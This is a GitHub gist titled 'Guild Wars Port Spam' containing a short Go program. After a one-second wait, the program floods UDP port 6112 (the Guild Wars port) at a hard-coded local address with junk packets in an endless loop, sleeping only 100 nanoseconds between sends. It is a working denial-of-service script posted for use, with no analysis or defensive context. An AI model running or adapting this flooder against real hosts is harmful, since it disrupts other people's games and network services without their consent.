Skip to content

Instantly share code, notes, and snippets.

@whyrusleeping
Created April 18, 2013 22:30
Show Gist options
  • Save whyrusleeping/5416749 to your computer and use it in GitHub Desktop.
Save whyrusleeping/5416749 to your computer and use it in GitHub Desktop.
Guild Wars Port Spam
package main
import (
"net"
"time"
)
func main() {
time.Sleep(time.Second)
addr,err := net.ResolveUDPAddr("udp", "192.168.1.10:6112")
if err != nil {
panic(err)
}
s, err := net.DialUDP("udp", nil, addr)
if err != nil {
panic(err)
}
for {
time.Sleep(time.Nanosecond * 100)
_, err := s.Write([]byte("pisssss"))
if err != nil {
panic(err)
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment